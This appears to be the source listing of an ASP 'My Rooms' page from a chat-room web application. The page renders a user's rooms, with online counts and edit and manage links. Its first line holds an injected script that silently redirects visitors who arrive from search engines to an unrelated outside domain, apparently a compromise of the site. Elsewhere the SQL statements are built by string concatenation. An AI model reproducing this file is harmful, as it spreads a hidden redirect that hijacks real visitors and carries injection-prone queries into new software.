d:\wwwroot\wuchunhua\liaotianim\MyRoomList.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/DAL.asp"-->
002:
<%
003:
On Error Resume Next
004:
005:
if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006:
007:
function RoomIsFull(Room_ID)
008:
dim RoomRs
009:
Set RoomRs=Server.CreateObject( "ADODB.Recordset" )
010:
set RoomRs=DB_CONN.EXECUTE( "select * from [XK_User_Online] where [Room_ID]="&Room_ID)
011:
if RoomRs.recordcount>0 then
012:
RoomIsFull=RoomRs.recordcount
013:
else
014:
RoomIsFull=0
015:
end if
016:
end function
017:
018:
function GetRoomList()
019:
DB_CONN.EXECUTE("delete from [XK_User_Online] where [Kick]=1 or datediff(second,[OL_End_Time],getdate())>=0")
020:
DB_CONN.EXECUTE("delete from [XK_Video] where [VID] not in (select v.[VID] from [XK_Video] v inner join [XK_User_Online] o on (v.[SendUserID]=o.[User_ID] or v.[GetUserID]=o.[User_ID] ) ) ")
021:
dim RoomRs,RRe
022:
RRe=""
023:
Set RoomRs=Server.CreateObject( "ADODB.Recordset" )
024:
set RoomRs=DB_CONN.EXECUTE( "select * from [XK_Room] where [Room_Admin_UserID]="&session(Session_UserID_Arg)&" order by [room_sort] desc")
025:
while not RoomRs.eof
026:
dim IsVIp,IsVideo:IsVideo=""
027:
if RoomRs("ISVIP")="1" then IsVIp="vip" else IsVIp="" end if
028:
RRe=RRe&"<li>"
029:
dim MaxNum:MaxNum=RoomRs("Room_MaxNum")
030:
if Cint(RoomRs("Room_MaxNum"))=0 then MaxNum="无限"
031:
dim onlinenum:onlinenum="<div class=""OnlineNum"" style=""border:none;padding:0px;margin:0px;height:18px;width:100px;""><span>"&RoomIsFull(RoomRs("Room_ID"))&"</span>/"&MaxNum&"</div>"
032:
if Cstr(RoomRs("IsVideo"))="1" then
033:
IsVideo="<div class=""IsVideo"" style=""background: url(images/camera.png) no-repeat;display: block;width: 35px;height: 35px;position: relative;bottom: 35px;left: 35px;border:none;padding:0px;cursor:pointer;z-index:99;""></div>"
034:
onlinenum="<div class=""OnlineNum"" style=""border:none;padding:0px;margin:0px;height:18px;width:100px;bottom:53px;z-index:98;""><span>"&RoomIsFull(RoomRs("Room_ID"))&"</span>/"&MaxNum&"</div>"
035:
end if
036:
if Cstr(RoomRs("IsLock"))="0" then
037:
if Cint(RoomIsFull(RoomRs("Room_ID")))<Cint(RoomRs("Room_MaxNum")) or Cint(RoomRs("Room_MaxNum"))=0 then
038:
if RoomRs("IsCheck")=1 then
039:
RRe=RRe&"<a href=""inc/RedirectRoom.asp?Room_ID="&RoomRs("Room_ID")&"""><div><img src="""&RoomRs("Room_Pic")&""" width=""200"" height=""134"" onclick=""location.href='inc/RedirectRoom.asp?Room_ID="&RoomRs("Room_ID")&"';"" />"&IsVideo&onlinenum&"</div></a><div class=""br""></div>"
040:
RRe=RRe&"<a href=""inc/RedirectRoom.asp?Room_ID="&RoomRs("Room_ID")&""" class=""RoomName "&IsVIp&""">"&RoomRs("Room_Name")&"</a><div class=""br""></div>"
041:
else
042:
RRe=RRe&"<a href=""javascript:void(0);""><div><img src="""&RoomRs("Room_Pic")&""" width=""200"" height=""134"" />"&IsVideo&onlinenum&"</div></a><div class=""br""></div>"
043:
RRe=RRe&"<a href=""javascript:void(0);"" class=""RoomName "&IsVIp&""">"&RoomRs("Room_Name")&"</a><div class=""br""></div>"
044:
end if
045:
046:
else
047:
RRe=RRe&"<a href=""javascript:void(0);""><div><img src="""&RoomRs("Room_Pic")&""" width=""200"" height=""134"" />"&IsVideo&onlinenum&"</div></a><div class=""br""></div>"
048:
RRe=RRe&"<a href=""javascript:void(0);"" class=""RoomName "&IsVIp&""">"&RoomRs("Room_Name")&"(满员)</a><div class=""br""></div>"
049:
050:
end if
051:
else
052:
RRe=RRe&"<a href=""javascript:void(0);""><div><img src="""&RoomRs("Room_Pic")&""" width=""200"" height=""134"" />"&IsVideo&onlinenum&"</div></a><div class=""br""></div>"
053:
RRe=RRe&"<a href=""javascript:void(0);"" class=""RoomName "&IsVIp&""">"&RoomRs("Room_Name")&"(关闭)</a><div class=""br""></div>"
054:
055:
end if
056:
if RoomRs("IsCheck")=1 then
057:
RRe=RRe&"<a href=""EditRoom.asp?RoomID="&RoomRs("Room_ID")&""">编辑</a> "
058:
RRe=RRe&"<a href=""ManageRoom.asp?RoomID="&RoomRs("Room_ID")&""">管理</a>"
059:
else
060:
RRe=RRe&"<a href=""javascript:void(0);"" style=""color:red;"">审核中</a>"
061:
end if
062:
RRe=RRe&"</li>"
063:
RoomRs.movenext()
064:
wend
065:
GetRoomList=RRe
066:
end function
067:
%
>
068:
069:
<html>
070:
<head>
071:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
072:
<title>iCenter -
<%
=SysConfig("System_Name")
%
></title>
073:
<meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
074:
<meta name="description" content="ImChat V1.5 Power By XKnet.net">
075:
<link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
076:
<style>
077:
*{font-family:"微软雅黑";}
078:
.body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
079:
.btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
080:
.btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
081:
.inputbox{height:26px;}
082:
.leftnav li{text-align:center;}
083:
.leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
084:
.leftnav li a:hover{background-position:bottom left;}
085:
.UserInfo{background: url(images/userinfo.png) no-repeat top left;}
086:
.UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
087:
.UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
088:
.title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;line-height:18px;color:#555;}
089:
.title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
090:
.UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
091:
.photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
092:
.line{clear:both;line-height:5px;height:5px;}
093:
.text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
094:
.itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
095:
textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;}
096:
select{height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
097:
.radio{}
098:
.btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
099:
100:
101:
.RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
102:
.RoomList ul{ list-style:none; padding:0px; margin:0 auto;}
103:
.RoomList ul li{ float:left; width:135px; height:135px; text-align:center; font-size:12px;}
104:
.RoomList ul li a.RoomName{ color:#666; line-height:20px; text-decoration:none; font-weight:bold; padding:2px;}
105:
.RoomList ul li a.RoomName:hover{ background-color:#3399FF; color:#FFFFFF;}
106:
.RoomList ul li a.vip{padding-left:20px;background-image:url(images/vip.png);background-repeat:no-repeat; background-position:0px 5px;}
107:
.RoomList ul li a.RoomInfo{ color:#999999; line-height:18px; text-decoration:none;}
108:
.RoomList ul li a.RoomInfo:hover{ text-decoration:underline; }
109:
.RoomList ul li a div{ width:100px; height:70px; *width:106px; *height:76px;border:#00AAFF solid 1px; padding:2px; margin:0 auto;overflow:hidden;}
110:
.RoomList ul li a img{ width:100px; height:70px; margin:0px;padding:0px; cursor:pointer;}
111:
.RoomList ul li a:hover div{ border:#FF6699 solid 2px; padding:1px;}
112:
.RoomList ul li .br{ line-height:3px; height:3px;}
113:
.RoomList ul li a.apply div{border: 1px dashed #CCC;background-color:#f5f5f5;line-height:70px;padding:2px; margin:0 auto;}
114:
.RoomList ul li a.apply:hover div{border:#FF6699 dashed 1px; padding:2px;cursor:pointer;}
115:
.OnlineNum{
116:
background-image: url(images/maxnum.png); background-repeat:repeat;
117:
border-top: 1px solid #FFFFFF;
118:
bottom: 17px;
119:
color: #333333;
120:
font-size: 12px;
121:
height: 16px;
122:
padding: 0;
123:
position: relative;
124:
right: 0px;
125:
font-size:12px;
126:
}
127:
.OnlineNum span{color:red;}
128:
.RoomList ul li a .add{background: url(images/a1.png) no-repeat scroll center center transparent; border: 1px dotted rgb(255, 102, 153);}
129:
.RoomList ul li a:hover .add{border:#FF6699 solid 2px; padding:1px;cursor:pointer;}
130:
.RoomList ul li a.addico{padding-left:18px;background-image:url(images/add.png);background-repeat:no-repeat; background-position:0px 5px;}
131:
132:
.png{}
133:
134:
div{border:#ccc solid 0px;}
135:
</style>
136:
</head>
137:
<body>
138:
<table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
139:
<tr height="70px">
140:
<td style="text-align:center;"><div class="top">
141:
<div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
142:
<a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
143:
<a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
144:
<a href="RoomList.asp" title="房间列表" class="RList"></a>
145:
<a href="Member.asp" title="用户中心" class="user"></a>
146:
<a href="Pay.asp" title="充值" class="pay"></a>
147:
</div>
148:
</div></td>
149:
</tr>
150:
<tr>
151:
<td valign="top">
152:
<div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
153:
<ul class="leftnav">
154:
<li><a href="Member.asp" title="我的资料" class="png UserInfo"></a></li>
155:
<li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
156:
<li><a href="#" title="我的好友" class="png UserFriend"></a></li>
157:
</ul>
158:
</div>
159:
<div style="float:left;width:4%;text-align:center;">
160:
<div style="width:100%;margin:0 auto;">
161:
<div class="title png">
162:
<span class="png">我的房间</span>
163:
</div>
164:
</div>
165:
</div>
166:
<div style="float:left;width:78%;text-align:center;">
167:
<div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
168:
169:
<div class="RoomList">
170:
<ul>
171:
<li>
172:
<a href="ApplyRoom.asp">
173:
<div class="add"></div>
174:
</a>
175:
<div class="br"></div>
176:
<a class="RoomName addico" href="ApplyRoom.asp">房间申请</a>
177:
<div class="br"></div>
178:
<a class="RoomInfo" href="ApplyRoom.asp">马上拥有自己的房间</a>
179:
</li>
180:
<%
=GetRoomList
%
>
181:
</ul>
182:
</div>
183:
184:
</div>
185:
</div>
186:
</td>
187:
</tr>
188:
</table>
189:
<!--[if IE 6]>
190:
<script type='text/javascript' src='js_Custom/DD_belatedPNG_0.0.8a-min.js'></script>
191:
<script type='text/javascript'>
192:
DD_belatedPNG.fix('.png,.vip,.IsVideo,.OnlineNum,.add');
193:
</script>
194:
<![endif]-->
195:
<div style="visibility:hidden;display:none;">
196:
<script type="text/javascript" src="js/ext-base.js"></script>
197:
<script type="text/javascript" src="js/ext-all-debug.js"></script>
198:
<img src="images/logo.gif">
199:
<img src="images/dgbg.jpg">
200:
<img src="css/ext-all.css">
201:
<img src="css_custom/layout.css">
202:
<div>
203:
</body>
204:
</html>
205:
206:
207:
208: